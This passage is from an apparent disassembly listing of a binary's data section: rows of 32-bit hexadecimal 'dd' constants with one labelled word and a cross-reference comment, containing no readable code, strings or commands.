		dd 800737D4h, 0DC1B8450h, 0AEC9C3F0h, 94380361h, 2C105BB0h
		dd 0E1ACCD98h, 0F1B2BB00h, 0D708C177h, 26321211h, 5AD440A4h
		dd 92D852D9h, 2C619C24h, 9B12C500h, 0BEDE19h, 428B9E96h
		dd 8FB1A1C8h
		dd 0DCEF6D00h, 0BFB70399h, 7B3D3D51h, 4C0020C8h, 2E822669h
		dd 400D4CBh, 654A294Fh,	3D7678ADh, 0D187DE57h, 5039FB3Ah
		dd 91EA8406h, 0C453F607h, 5A40A0B4h, 0B0681DEDh, 9950091Ch
		dd 4E4B002h, 5DFF00Eh, 0F5924041h, 405811h, 1A7485EEh
		dd 63BF491Dh, 7E330AC0h, 73D06CFCh, 0D3BA1E29h,	0A39CC4E3h
		dd 0E9A4C0E8h, 0D2980170h, 80475E27h, 0EA53726Ch, 0CEEA43h
		dd 1DFED27h, 2F5625ADh,	7C734618h, 3E19AE29h, 0B8F2652h
		dd 0E020FD08h, 0C563701Ah, 0CFB4C600h, 98103EEEh, 9D7F1896h
		dd 0DCD339E6h, 8300F6ECh, 798EB3ACh, 75A08D91h,	7F510033h
		dd 7D675C65h, 7C0048CAh, 64151B3Fh, 219175Bh, 0A9F44C8h
		dd 0D4782A92h, 4B325422h, 3C482235h, 2000C70h, 27BB7B2Eh
		dd 1ECF40h, 0FA90036Bh,	0E7CBBA08h, 8E521C00h, 1B6A2D37h
		dd 397560E2h, 3C650AA4h, 5B5FAC00h, 60B35859h, 0B27300D9h
		dd 0DD7FCE75h, 70008FF1h, 5547087Dh, 4984B9Ch, 8433C1F8h
		dd 37BCC37Fh, 57914F0h,	80627E00h, 8C75FCBFh, 7374100Eh
		dd 9A5D0330h, 1EA47D2Dh, 53E86411h, 0AC840CADh,	25246160h
		dd 803B0A4Ah, 7C8B7A6Ch, 3515F4h, 398D9824h, 497C51Dh
		dd 0AAF39401h, 0AF22631Ch, 5B5B2ECh, 533A5B45h,	1966C0D7h
		dd 6F008FF0h, 0B8ACD416h, 9E13CDh, 0E5A52A60h, 5D6343BDh
		dd 410F2403h, 0C047CA3Dh, 3EF94B4Ah, 0AF00C3E2h, 9EB726E9h
		dd 3900727Ch, 5C1729A5h, 36342Fh, 81D59850h, 0F0412C65h
		dd 9C95EC00h, 5FA032C9h, 7E0E161Dh, 77642021h, 0D400AFC2h
		dd 86879B97h, 2DF9C80h,	0A6CDBD79h, 0C0408353h,	7C7FBC81h
		dd 59553000h, 2E8ABAF7h, 0F264032Bh, 0F0A98466h, 80CBD0F7h
		dd 2C06E0CAh, 2FA2CD1Ch, 454B0030h, 494B6CCh, 7000E8F8h
		dd 5C431FD2h, 2F6173h, 0D84E804Bh, 18D7C32Ch, 0E99A1209h
		dd 8428000Dh, 98ECCB6Ah, 855A1724h, 3740160h, 0E00156B6h
		dd 37008F7Ch, 5D1F38DBh, 0C00DEC0Bh, 5E08986Ah,	0FF0FEB5Bh
		dd 0E0AED1D5h, 5AE8F4C2h, 131C98AAh, 1883849Eh,	67B6115Fh
		dd 0DD9D2E00h, 0EDC625FCh, 0CFD5C38h, 20699F0Ah, 0DF98009Ch
		dd 0C0F2C7E5h, 0CB88AD18h, 5F8AE0h, 2BD2302Dh, 0FCCED8ACh
		dd 37589F00h, 5A214639h, 5F90032h, 0E7A566Ch, 9300179Dh
		dd 0CA7CAC16h, 2C26B290h, 1F68F61Bh, 27914FE9h,	0CCF57681h
		dd 0D6C03003h, 33662300h, 0E587C12Fh, 6F6C003Eh, 0F0FCC326h
		dd 60136A3Fh, 841CB330h, 0D3F45E01h, 1EF493F9h,	77C300CDh
		dd 5A362A49h, 7B072F88h, 0A854E689h, 51748D70h,	0EAFC3A4Ah
		dd 93B896h, 20ECDC13h, 0F73D39C9h, 8A037557h, 426E81C4h
		dd 0FAD6F085h, 0FFC4FF6Fh, 751D004Dh, 0EA342C54h, 4C0358FBh
		dd 6A477FA7h, 0E40ACDE6h, 6D00F8D1h, 361C1B48h,	6334005Bh
		dd 0B279626Fh, 1500113Bh, 0D6DFA701h, 434C7Ch, 5D8FC44Ah
		dd 892D98B6h, 64ECA800h, 4C2359BEh, 92E500B8h, 98C45F68h
		dd 0B907F320h, 48F995F7h, 0BF824D20h, 0F2F89008h, 1D92021Eh
		dd 49644E1Ch, 5C0124D2h, 3227378Bh, 0DC706218h,	0AC0F2415h
		dd 843B8F70h, 0F26C35E0h, 0F306AD64h, 7FD87620h, 1A9F6011h
		dd 80CA1A03h, 6E111E00h, 10E0664Ch, 9DA10BE5h, 4482FE40h
		dd 8E41255h, 21588709h,	4F92000Eh, 7DD00737h, 83271382h
		dd 0CD50476Bh, 0B373003Ah, 0CE127D93h, 2C802275h, 312B4F34h
		dd 9C59F62Dh, 41A80848h, 8B04601Ch, 306BC001h, 778E157Bh
		dd 54E370h, 0B59B352h, 253D68Ah, 15C70E00h, 4FC64D61h
		dd 805860A6h, 0C1DFA9B0h, 0BBD8CF00h, 8547BF92h, 3A9C00A2h
		dd 0EA7B4C59h, 0FAE21026h, 800AAF2h, 93413B2Fh,	90A8803h
		dd 0D6A6C569h, 28E9E381h, 7008972Dh, 510D9C02h,	0BC3C60A1h
		dd 0B8D42C2Ah, 81C31C44h, 55443770h, 820C6073h,	74AF8E00h
		dd 425718Ch, 0A7C83B58h, 20797618h, 9CB6A320h, 8D251702h
		dd 0D0D06298h, 7B0B4244h, 0F0167C7Ch, 7503DBE0h, 0E55BB7DFh
		dd 6E2EBC80h, 4C8D0054h, 0C3880DC1h, 9400FFF3h,	7D39E6D3h
		dd 0BBB90Ah, 2EF022DBh,	0CA706D4Ah, 0FAB53800h,	0F74B263h
		dd 0D5170075h, 447792FEh, 3E006220h, 0AC5F9BCh,	7ADD8D08h
		dd 572B0078h, 1042123Ah, 0DCE8488Bh, 0E8C3CB00h, 265D9BEDh
		dd 0BFF0E0h, 5FB3C85h, 73AC518Bh, 9E7E7200h, 70CEB615h
		dd 5A6C0674h, 11E48058h, 35F7FD00h, 0A38996A0h,	0BCD300DCh
		dd 5ED82088h, 0B07B7643h, 9F827A1Ch, 7DFCE1C7h,	0F21A6503h
		dd 0E5D4C8CFh, 2E5D88A9h, 85DAC638h, 58916042h,	9000C452h
		dd 0C702CDCh, 0CEF6027Dh, 1A3D8179h, 3B8FACC0h,	5360661Eh
		dd 0D3063540h, 30BDFF5h, 47B5F0E8h, 0E79F91E7h,	8B7F1044h
		dd 9E0018CBh, 0FF9516F2h, 0ECBBB7AAh, 345FC77h,	0AF5EFC4Bh
		dd 0CAF021A6h, 0C0006258h, 9D90B33Fh, 851DE7h, 33178411h
		dd 0BD9E2CADh, 16ED3800h, 124E56A4h, 4B810F22h,	9460E25Ah
		dd 4293A288h, 6FF35B00h, 83D59606h, 1E467A14h, 1E9466F0h
		dd 31B6070Bh, 0E90F9033h, 5C008E88h, 5F4202ADh,	0E43639h
		dd 641A07EEh, 2295D762h, 0C405158h, 19F048EAh, 0FA6F0031h
		dd 0F60F8EB8h, 5E0005CAh, 277A25A1h, 0F73828h, 95533550h
		dd 6A442CBCh, 687C3B03h, 0A8410605h, 7BFE6925h,	0D2B40E43h
		dd 32A01F1Ch, 0CA9DA419h, 4100F579h, 968AB5FFh,	0A6508Eh
		dd 7199988h, 0C6FB5C4Fh, 4B76E160h, 3CD7B46Fh, 0EB8BC47Dh
		dd 64C01169h, 0F020BEC6h, 72B00AFh, 8E2776F5h, 75006E3Ah
		dd 0DC86D873h, 1D3B67h,	46BF6639h, 5405593Fh, 0ECD961E3h
		dd 0A43899D5h, 9D3B800Fh, 54C400Bh, 37F4004Dh, 0C79F5E0Dh
		dd 0D10ECD20h, 806A6138h, 69DF73B4h, 0E9E03AFh,	0B36F2DE7h
		dd 6B782580h, 7E8E4600h, 689354C0h, 0A9CA0020h,	0B270E4D0h
		dd 71035535h, 62B1A2F8h, 0AC9D8EEh, 0BA290157h,	8D8FF9FEh
		dd 381A7114h, 0A6CA50FCh, 48CBD00h, 0C4D99A57h,	0D4D003A0h
		dd 0F707B2FFh, 6DE1A388h, 86B18200h, 5CBCF10Bh,	0AF390043h
		dd 0C2E0E590h, 0FAE8B879h, 0A558h, 638EF420h, 127121Eh
		dd 0B5A24C7Ah, 0D44A3551h, 0CD00C6D1h, 119BC1E5h, 0A9AB42h
		dd 27103D3Eh, 3644917Fh, 9D7C6D61h, 7C78FF49h, 0FB9EA79h
		dd 0E82547C9h, 7132CCFEh, 0F70069F0h, 0D9595677h, 16782F4h
		dd 9BF15478h, 284CE2DCh, 0A32B04D8h, 3CC0D521h,	0E2458798h
		dd 274400F7h, 0CA951023h, 6F04662Fh, 0C7C0263Fh, 0EBDD84C3h
		dd 0A076AB5Eh, 0F8153155h, 0B8AE043Ah, 0C09CF0DEh, 0FD48079Ch
		dd 0AC644013h, 0E0B7CE00h, 0D8BC99h, 46C2DFB0h,	31ABA19Eh
		dd 583E251Eh, 7052B180h, 372E836h, 3512F52Fh, 0A28985Ah
		dd 4800A0FAh, 1A514B9Ch, 76661B36h, 3DCF00ADh, 0D36E3F33h
		dd 881E45B5h, 0D0931FCEh, 9A9DD000h, 0EA5424h, 792AFAB6h
		dd 0B75EB3E3h, 9C4F3D00h, 89D6F67Ah, 36E8E0h, 99025CFEh
		dd 17741B6Bh, 42C24F03h, 0A835A53Bh, 0CB8809B2h, 0C2807D11h
		dd 0EB1BD822h, 192B7E0Eh, 62156FFBh, 78FDB82Fh,	3142ECh
		dd 1008D333h, 0C96AEh, 51ABE068h, 8A064387h, 0A4C7D714h
		dd 0D5F200C8h, 7525023Bh, 5889813h, 6390BE23h, 7D090ECh
		dd 8C7A304Ch, 38E93424h, 503CDB09h, 1B732C88h, 0EC1D8BF8h
		dd 0CBB694E0h, 80179C3Ah, 1A863CADh, 1D56E91Ch,	8B1F132Fh
		dd 0BF00B1AAh, 1EABAC62h, 0BD7E0E00h, 51617453h, 0E9C438A7h
		dd 87AE9000h, 97E07C8Eh
		dd 33F1FE00h, 0B1B34B5Bh, 0F207DB7h, 62FCF41Eh,	659D0A40h
		dd 0B07A121h, 0DC236755h, 5F160F70h, 0EC530358h, 0CA91F5AFh
		dd 0D28895D0h, 4E2C3648h, 0E2C92FF0h, 0A17500F0h, 6D6F284Dh
		dd 980046D4h, 0A2682FC7h, 0B87F184Ah, 2DAC0031h, 4B55EAE3h
		dd 3400F0CEh, 7EE70A4Eh, 0F8841Fh, 0A1D150A6h, 0A28063CAh
		dd 78E5F73Dh, 0DBE40095h, 0EB1892h, 90BB534Eh, 52ECCF07h
		dd 6A482603h, 0A0B88944h, 9F8566h, 0D912A02Ch, 0D187D8E1h
		dd 78378601h, 680845F5h, 0FC177D0h, 0C809210Ah,	0C6D0BF60h
		dd 6A283280h, 1507A81Fh, 588AE0Bh, 1D923E30h, 0B04A0728h
		dd 18C566h, 0C26ACA55h,	0D83A0700h, 2767485Fh, 1B8400BCh
		dd 7C457276h, 54B088CAh, 6417C005h, 0A8000E09h,	37D3A70h
		dd 74F700B9h, 66576235h, 0D012D5CFh, 4400B230h,	26A35DE8h
		dd 525B00ADh, 20C47A38h, 0A000198Dh, 0F5279D10h, 7CAB6B5h
		dd 6364F89h, 0DA0B9056h, 0D900B0E7h, 0A69E1DF7h, 0B8A88ABAh
		dd 23501CDh, 0A4EC8004h, 42C3264h, 96BED767h, 9800A585h
		dd 0A9E11D5Ah, 0E8220E0Fh, 4CE0C173h, 5C178008h, 0C635Ch
		dd 7116E469h, 3F9B14Bh,	3739723Dh, 67CACC2Fh, 360BF0E0h
		dd 0B5DF301Fh, 619A6040h, 602CCF9Bh, 6B9111CEh,	0A7006642h
		dd 5141F93Dh, 0B0C8041Dh, 0B83B01BBh, 0D1903228h, 206B7188h
		dd 530034E5h, 0D46CC923h, 2069C8Eh, 0C0C2D698h,	80569376h
		dd 3D5E003Eh, 0D5AE0C92h, 73229890h, 0CCFF074Dh, 0A0C97FA6h
		dd 6D1EE1B2h, 56AAD000h, 4383E309h, 0A8DB1C12h,	788101A5h
		dd 0C0D1B384h, 3900B6B4h, 6848E132h, 0CD06BA4h,	3DAE2112h
		dd 6F00D911h, 0C8D2DD26h, 1FBEBB8Ch, 803103CAh,	0F4A0B2D5h
		dd 3CB8C3ECh, 0EF462201h, 0E81B8101h, 7930002Ah, 68BBB1ADh
		dd 585287A0h, 2400355Bh, 0B91B250Ah, 0E5BF3BD5h, 0D71A0B8Eh
		dd 9330ACC2h, 3A1FBC76h, 0E78680F8h, 0BD791832h, 1261F852h
		dd 47D8FF8h, 0D0A3366Ah, 4C45D440h, 0F24E51E2h,	0C0B54C20h
		dd 0BD800AF8h, 16DC65A6h, 79E493B2h, 16FC1058h,	0CE04F688h
		dd 2881A25Fh, 0E9CCEEB1h, 4F6B3h, 9DB96DBEh, 0F4DF6403h
		dd 3B4748h, 96098002h, 4114F7h,	724E441Dh, 0D890364h, 7FF26800h
		dd 3038390Ah, 0FA860384h, 8BF50647h, 0F420E49Ch, 0C023DB00h
		dd 0F0194E5Ah, 7C4458A3h, 0CE638A00h, 0FB372FEDh, 80030874h
		dd 27539AD1h, 398CB006h, 0C05D4B24h, 45AA26C4h,	0D5144F0Bh
		dd 0D2FE8582h, 0E5F2CC07h, 21EB5520h, 72E0E7h, 0ABD6B465h
		dd 9175C8CAh, 0C2388D60h, 3874873Bh, 0CD80AD83h, 3CEDC690h
		dd 633FC85Ah, 915B0EC9h, 15F262A5h, 2D40562Eh, 0B6E08E60h
		dd 0B21B200h, 35CFC10Ch, 821400D0h, 30A82066h, 89EC561Eh
		dd 4ED7CD0Eh, 32BA0BAh,	0B97C3B6Eh, 33E300FCh, 8E53C2CDh
		dd 9FB9A4A0h, 0DF693013h, 941984C1h, 0EF50002Fh, 9F1A3D41h
		dd 0A1C3AB0Bh, 373083D9h, 7133A048h, 0B0F0EBh, 5DA673B9h
		dd 4C4E547Dh, 566A8900h, 0F672C5E5h, 0ECBE3A1Fh, 0C11A8E00h
		dd 0DC2C499Eh, 161578C0h, 0B0751239h, 6ACD166Bh, 1ACD00ABh
		dd 0F3C1379Ch, 0E86B5100h, 0DC7D2625h, 77D0B8A2h, 1A80F9FCh
		dd 37F0EFC2h, 0D0165A5h, 62DFD61Eh, 0C6707507h,	0A45FA0h
		dd 178C6C8Ch, 1E0728A6h, 5E5B586h, 569C1DA0h, 0AC2E075Dh
		dd 0F0615A62h, 0B9AA8340h, 7590A300h, 4C356F46h, 12293F14h
		dd 0CC8227BBh, 1F92C6ADh, 0C0D00C41h, 29F70D2h,	0E0766E40h
		dd 7B19D37Ch, 6C59017Bh, 0B65D2747h, 0B5E6407Ah, 3E00A48Fh
		dd 6BF602CDh, 18513D8h,	52B42E77h, 0E50C498Ah, 0CFA5D4F0h
		dd 0F5D9191Ch, 0D7479480h, 4E785Ah, 1EB093E1h, 0CDC99107h
		dd 6C59C8A0h, 2D4B289h,	771901C3h, 0E6E7E0FDh, 0D2218045h
		dd 0CA697517h, 79CFA58h, 90034028h, 0C69AB44Eh,	600110Fh
		dd 0F3518B81h, 2AF18C5Ah, 2EA43691h, 42303B3Eh,	250007E7h
		dd 17FDCBh, 6DCAB257h, 0E80302C5h, 0EDD9D71Eh, 673C8F80h
		dd 614C1BA8h, 7C6350C1h, 60CC02B1h, 3DBFD11Ch, 1002D8F3h
		dd 0DD404C85h, 8A264448h, 8094C009h, 0E02E007Bh, 0BE5650C1h
		dd 0F4893D08h, 60403AD4h, 9000813Dh, 0E862CE46h, 137FAC1Ch
		dd 0DDD51Dh, 0BBB09470h, 4002383Ch, 0B407289Fh,	17C74E3h
		dd 659B0DF4h, 8EC7D9F8h, 805BB278h, 0FB4A74DAh,	99E30C7Ah
		dd 3618E41Fh, 95C73D00h, 8844123Bh, 0C5DB00CDh,	0C6AED3C8h
		dd 9C28FB76h, 0BC00A47Ch, 0E7F89B4Eh, 1D887FEh,	51A665DBh
		dd 68F42A41h, 1CB38CCh,	0CF501B44h, 0C5602272h,	804B00E1h
		dd 0C6EDF8D5h, 10012F26h, 6C5775E9h, 0BCEC955Ah, 62830045h
		dd 500423EAh, 4100CEFBh, 0D87930A2h, 0ADB7A2Ah,	0D624E371h
		dd 21EC01B4h, 0CCA92297h, 661C3507h, 90ACED80h,	2B8FDC00h
		dd 1DE2D9E1h, 0C003C29Eh, 0F9100A3Ah, 0B41213C5h, 790093CDh
		dd 4CB6A69Ah, 8747482Ch, 508050h, 4A785281h, 0E4199B13h
		dd 82FAD8A8h, 55312609h, 1C98F069h, 0C9B0CFh, 0F5A9245h
		dd 0D0FA01DFh, 20AB212Fh, 558D28E8h, 8E320059h,	7B0125C9h
		dd 0DD00C5C7h, 0FF4E67DBh, 13C148Ch, 0C007F50Fh, 787B0BF9h
		dd 311000D0h, 6BF7952h,	5C360021h, 57D45D20h, 0AA271218h
		dd 954C8402h, 3204F0h, 0C1DA1715h, 0F4F78791h, 34402EE9h
		dd 4F79CBBFh, 0F2070047h, 0D90E3DD2h, 0EA48A7C6h, 8B50710h
		dd 954002C2h, 2AA677h, 82CC1DE7h, 6B61ADD6h, 7CF06327h
		dd 0B4E0006Dh, 0C09F517Bh, 0D6E6F31Ch, 28832D87h, 0C919B3D0h
		dd 0A59D0013h, 0E133BC6Ah, 543D4B70h, 0A26601D2h, 3640A903h
		dd 3D9B830h, 2151FC0Ah,	917807BEh, 0F272AD44h, 1E28C035h
		dd 385221Ch, 8FB02600h,	843E2D93h, 0C0B200CDh, 627DD5EEh
		dd 0F7004DC9h, 5352EA46h, 859A97h, 0A403DEF6h, 9EBBD0CDh
		dd 92C51500h, 0AC1FAD63h, 74AFA2Ch, 7A0F190Eh, 13D760C9h
		dd 550E871Ch, 20C16A4Fh, 0D48CBBE0h, 98F816h, 5C7E72C4h
		dd 0A0B4C67Fh, 45BFEB0Bh, 4820A093h, 438D91Eh, 3094B1Dh
		dd 0CDE6C06Bh, 3DEEACB9h, 18D00800h, 62DEFA76h,	3FD6FAA6h
		dd 0AB00E10Fh, 40D573BFh, 2401F59Ch, 18A5B7ACh,	2C60F90Ch
		dd 883B0061h, 5B08D791h, 0E200F758h, 13DECEADh,	5B6DCF6Ah
		dd 0C1E800F4h, 2232B0D1h, 0D86FC001h, 21C9C2A9h, 514AC0h
		dd 4CF91C6Eh, 7980FDC4h, 9D18C100h, 178A8132h, 0FFCD0090h
		dd 5F69625Eh, 1B247C99h, 1500A92Ch, 0ABC43A72h,	932A4CFDh
		dd 2431F12Ch, 1FE00E7h,	3EF7A9Fh, 0EE052D00h, 0FBF29661h
		dd 1E990053h, 0AE3ACC2h, 0D0005A51h, 88B9C712h,	1869DE01h
		dd 112A44E6h, 2203708Ch, 0D35EEAEFh, 615D8264h,	0B06DE6F4h
		dd 0A098B107h, 188420A5h, 5600959Ch, 0AF482B29h, 768E449Fh
		dd 665C0047h, 4D347051h, 0A300521Dh, 0FE17B704h, 0EB47C2C1h
		dd 79830EE0h, 3E1C00CAh, 5116AF0Ah, 4C001573h, 612FB591h
		dd 277202E9h, 8848FE03h, 3200319Bh, 0AA9589A1h,	12905F46h
		dd 0F269C2C5h, 0FD162CBCh, 1E4D09h, 9F382FA5h, 521700C7h
		dd 7685F10Ah, 6700D94Fh, 51B516E5h, 13AB01EFh, 80D0F596h
		dd 0E8F27950h, 8BE01F74h, 818DB130h, 6308072Fh,	9730C6E9h
		dd 6E24080Dh, 0D6E12069h, 0A1EF1088h, 4F01F69Eh, 945CF8Dh
		dd 18B864E0h, 21A9DC24h, 8B13C1AEh, 0C4B4FC63h,	2F3A00ACh
		dd 3137A629h, 401FBCF7h, 8100DC02h, 4AD4F83Ch, 0AF840016h
		dd 11F31CD1h
		dd 324FC6EAh, 5900488h,	8BB7FC31h, 595C00A3h, 36643DBh
		dd 0CF571500h, 94403FC4h, 121F870h, 14B91044h, 3A302DDAh
		dd 0C702C407h, 8CA080FFh, 9E1A25h, 38E424DFh, 4254515Ch
		dd 4E48F77Ah, 8EF85BBFh, 0BEBCCA00h, 0AF8C7E5Bh, 0A66DE12Ch
		dd 4203A800h, 9F66DEh, 0B8A5A296h, 2366F98h, 6DDCE603h
		dd 0C06A8849h, 6940B1h,	0C5037EC1h, 0E5DA9F5Ch,	0AA92EA07h
		dd 8E60E489h, 7C13AFh, 0DE63ACCAh, 6010DD4Fh, 0A58BA900h
		dd 0B066F1E2h, 0A1900051h, 0FD8127ECh, 1D074FACh, 3A9DA8F8h
		dd 0B207C48Ah, 0A6819C74h, 0D0E03D8Eh, 0E9200034h, 0F87C0EA8h
		dd 89288BB5h, 4B3FA827h, 258160Ch, 32F5DC80h, 9D6314A5h
		dd 0D419CC16h, 2AEC0847h, 3ADFFC00h, 51C0A5h, 13E6EADEh
		dd 0E93CFF14h, 0EA90401h, 8BB60398h, 45076822h,	867D784Fh
		dd 26001801h, 70F4BF5Bh, 26981DCDh, 0D258720h, 0F464C6h
		dd 0FADF92F0h, 967710C0h, 0AD71A3h, 0CF0A40A7h,	8CB9FE84h
		dd 0B279277Ch, 340026E4h, 0FACAAA43h, 39B33F0Eh, 3B82CE12h
		dd 0CB74E0F1h, 33938980h, 0BE0024CDh, 760EB9B4h, 4D967Ah
		dd 8422AF17h, 50B235B5h, 0ED384E1Fh, 498A6F00h,	0F6AAEADBh
		dd 0B06A0E8Bh, 54E03178h, 1B77FEE5h, 0A23A8901h, 6C9B16BEh
		dd 780862E0h, 0F0AFA09Ah, 0C40E2AAh, 0EFC6137Bh, 8D00E318h
		dd 91296DBh, 1AB4BA6h, 73AACC40h, 80942568h, 0F847B230h
		dd 722C7B03h, 0E4931D87h, 211E9886h, 0F707CFB1h, 0AD23F93Bh
		dd 97C01287h, 0C1A78F89h, 7E243158h, 0AA70980Ah, 1B532A21h
		dd 11A5BF9Ch, 90490E17h, 483F8400h, 0F0A8B6h, 0ABACFB29h
		dd 9F267AF2h, 188ACB33h, 5A10D03Ch, 0F451C3A2h,	21D09B42h
		dd 0EF337B67h, 96092Ah,	827AD421h, 0D1AD6A5Ah, 0E899976Ch
		dd 23180F3Bh, 6D01130Dh, 0F05CD368h, 7201D16Ch,	0A3A8AB53h
		dd 9AD004F9h, 0CB2F3923h, 5EA01283h, 11421ED7h,	3007E004h
		dd 5610C0C6h, 7FAB0252h, 976371Ch, 0FEE44CC0h, 0B427E3h
		dd 314934Eh, 6AC5671Dh,	0F9E07600h, 0A60ED371h,	0B7583B89h
		dd 6BA70F01h, 0F8776150h, 26003219h, 5BD0025Dh,	0F86FF23h
		dd 9B7D3AA6h, 5EA52880h, 887A972Eh, 1C104700h, 0C9168FCh
		dd 0AEC028AFh, 0B4F4AAh, 0B286E6FAh, 0BD62AC69h, 210FC303h
		dd 0D053E22Bh, 0EE801FD4h, 0CF8100FFh, 851A97B1h, 1100FD71h
		dd 6A65FC0Fh, 0E2D187h,	7CC3DEABh, 0DB1D1594h, 4D59F000h
		dd 0B9220BFBh, 9B7B46h,	0B5ABF7AFh, 0F1AD783h, 0E6386AE0h
		dd 52CE80C4h, 0FCBD1720h, 0C17D00E1h, 0EAF121D3h, 0E3711586h
		dd 6EB4731Ch, 0E9BB4AC0h, 306C9C43h, 0E17026F8h, 0C2006001h
		dd 1D5E6B6Dh, 0F403DF2h, 67AA87CDh, 3FC711A1h, 38CC4326h
		dd 0FA42E2A8h, 4B933100h, 0CAC45958h, 15FD0089h, 374FB19Dh
		dd 27077252h, 698354CDh, 66E26F41h, 1F63D6CCh, 1C0D7D3Eh
		dd 0D12040D2h, 3A6781BBh, 2EF64CE2h, 1FE324h, 0E125EA87h
		dd 0EF5DF720h, 9C7E00D7h, 9F8D9BB8h, 60C028B6h,	0D9F1B52Ch
		dd 348500C3h, 95FCB4F0h, 8A009BFFh, 273711BBh, 0ACB382h
		dd 0BE6270A0h, 6D04E646h, 88D58600h, 24C83257h,	0EC0C00E5h
		dd 0AB9D4C59h, 0DA1D8A84h, 7C016A92h, 0D0B0E8A9h, 115A4FCh
		dd 0F8B50D1Fh, 0D9801D64h, 0A9D450FBh, 5960B6B1h, 252E7B99h
		dd 896800F0h, 1D933FA3h, 0ECEDB82Bh, 0F9021A40h, 0CE363527h
		dd 4978488Bh, 28020756h, 9A1BDCh, 0E1F635F4h, 4838C303h
		dd 4C11F9h, 0A939EA68h,	192CD854h, 2696ED00h, 62F3DD59h
		dd 7C5A3B8Fh, 7741BE80h, 14BAD67Fh, 0E249B000h,	0C6117A27h
		dd 0B6E50419h, 0C29FB120h, 464165D4h, 10F0504Eh, 35F222C8h
		dd 56C83461h, 5DCC83ECh, 59E5037Bh, 0B953B001h,	43326B88h
		dd 66754D03h, 0A08D2A26h, 5088Fh, 0D8AEF74Eh, 786A23D4h
		dd 49C64800h, 5B62F4CBh, 21B40029h, 1BD0406Ch, 0B907F290h
		dd 36439163h, 0B99C7E0h, 0AE3A0092h, 9FF60265h,	9A0EFA8Dh
		dd 6153D610h, 5A6ABD72h, 9334E450h, 900CE82Eh, 655630ABh
		dd 5F2B927Ah, 0C9B01113h, 40A12840h, 63A83CD7h,	0D5F52A31h
		dd 0C71B84C0h, 0A57A6C00h, 0AFD61632h, 4DBEA9Fh, 0ED218FA7h
		dd 70F08761h, 24026242h, 0A6633600h, 8CB1B6F5h,	0E6DC070Fh
		dd 0A3800E92h, 22E88DB7h, 11000D60h, 0F9C315DBh, 1679CBh
		dd 6156A336h, 0FFF74CCDh, 24E93B26h, 9100481Eh,	8202149Fh
		dd 8050DC10h, 0B4FFE01Ah, 9304C4E4h, 0FCF3EB1Bh, 0D0166C0h
		dd 18A71740h, 0BC5A00F5h, 8F78FD8Dh, 76291A00h,	242F34EEh
		dd 0D940BD10h, 0AB124F98h, 0EA1480h, 79A1D8A3h,	0A12D69Ah
		dd 0B41E2EE5h, 5F7BF440h, 0C4C76h, 71020D4Eh, 378E2454h
		dd 0BF5C4Ch, 5D1F78ABh,	849EDh,	4DFD5E5h, 510C1C4Dh, 0EC68F100h
		dd 0BDC181F0h, 0F249E61Dh, 930F003Ah, 3B48A23Fh, 0F200074Fh
		dd 47F4EC2Eh, 1A88EDh, 0D9668404h, 279822A4h, 0BA89B000h
		dd 6B3623CAh, 48C7120Fh, 0CE9040A7h, 60D35AFDh,	13F96400h
		dd 3EDCE5A8h, 0DAA900E7h, 49122110h, 0CD0A29EDh, 0F85B7ED4h
		dd 9B3FE981h, 0A020CAF9h, 8C40508Bh, 0FCC00BFh,	7A538A2Ch
		dd 0E1E3C5B6h, 1AFD8BDh, 0C4D8D300h, 70177934h,	7F78B5h
		dd 0E29C9009h, 8B6A6E10h, 79D5361Dh, 4C07F392h,	5A112237h
		dd 0B0803F59h, 672C985Dh, 109AC105h, 4306C300h,	0E6D63129h
		dd 0F6F10024h, 21750267h, 5F033D28h, 12F23738h,	0F3100320h
		dd 83294236h, 0C0E55DC3h, 103E76B7h, 619E9024h,	0FC9311Dh
		dd 46F40183h, 0CAE4E081h, 4A3300C9h, 968C545Eh,	40CE53B3h
		dd 2F9966B5h, 73870720h, 0C06B699Fh, 0F8FA9150h, 52ADE900h
		dd 304A925Eh, 7D3F0768h, 70188D41h, 3A73CD4Ch, 6A6CA400h
		dd 0B2D27B9Dh, 28C00004h, 729C215Ah, 0CE00B971h, 73C4DA4Fh
		dd 41180Eh, 96FFBF0Ch, 3C63322Ch, 0D3389B00h, 482EA9C9h
		dd 0F7011727h, 3BB900DEh, 371BA29h, 86E9D10Eh, 40C0DF74h
		dd 0BCDB1507h, 0DC3F0022h, 64042B8Bh, 951EEAC9h, 9B80ADACh
		dd 9D105A2Dh, 1BE005F4h, 81D11A2Fh, 0C063C97Eh,	7D006EEEh
		dd 3EA4A5E8h, 971725h, 8F9D5574h, 15ECDB82h, 70B661Eh
		dd 0BCD47D80h, 3FB79Ah,	7CC5F5FCh, 143A1946h, 1708E838h
		dd 0F600715Bh, 9EB363D3h, 0C23C0088h, 5C1409BBh, 6E0BB146h
		dd 0A02801CFh, 1B3A6D64h, 0DA040355h, 819F11AFh, 8B3689E0h
		dd 4DE1A400h
		db 4Eh,	0E6h
word_544F42	dw 0E3B5h		; DATA XREF: ___:off_4374C0o
		dd 7BBC0B47h, 9900A37Fh, 0ADD3E8Ah, 0C36DB200h,	0BD13B595h
		dd 58E7EAF8h, 52009084h, 51FC8A0Bh, 6A5DA098h, 58007C94h
		dd 9EADEB50h, 1DB6E2E4h, 3D1DA3Eh, 3061C2F7h, 0BFA8990Bh
		dd 0F8B42077h, 0FED322h, 9CD1B2FAh, 13CF5E18h, 0F3B4170Bh
		dd 2F208049h, 1DB1A60h,	0EF406E6Ah, 0F02DB56Dh,	0E10EC7B6h
		dd 672EB0DAh, 0A9806FA1h, 0EE81A7h, 99B6F0F7h, 0A002D978h
		dd 51FBB0C3h, 1869B275h, 0AD03EA15h, 24E2B3B6h,	0AED9A0B7h
		dd 0A17A6006h, 0C2E5A59Ah, 0FFD84000h, 825DA25Fh, 36F4F3h
		dd 1C0FB680h, 0FE3F062Ah, 45091403h, 97A47993h,	0E75FDFD0h
		dd 6DB86Fh, 4CD81703h, 0AF9DE92Ah, 6C26AC2Ch, 0E37D6600h
		dd 37B8A62h, 0EB8436AAh, 20A1B0FAh, 89D2D02Dh, 0F1F3A903h
		dd 0B00DADCCh, 93581Dh,	1B64D9B1h, 85F670C2h, 4211D300h
		dd 3C288892h, 1612000Ch, 0E80965E4h, 7E006878h,	0D5665B80h
		dd 95D3ACDh, 0DB12177Ah, 0DC81844Fh, 554D335Eh,	0FCC28850h
		dd 0E0830178h, 291DAA28h, 23C4F8F4h, 58347B01h,	32DA071Eh
		dd 0A31420h, 0B0D19621h, 31D3CE0Ah, 0A758CFh, 2A477735h
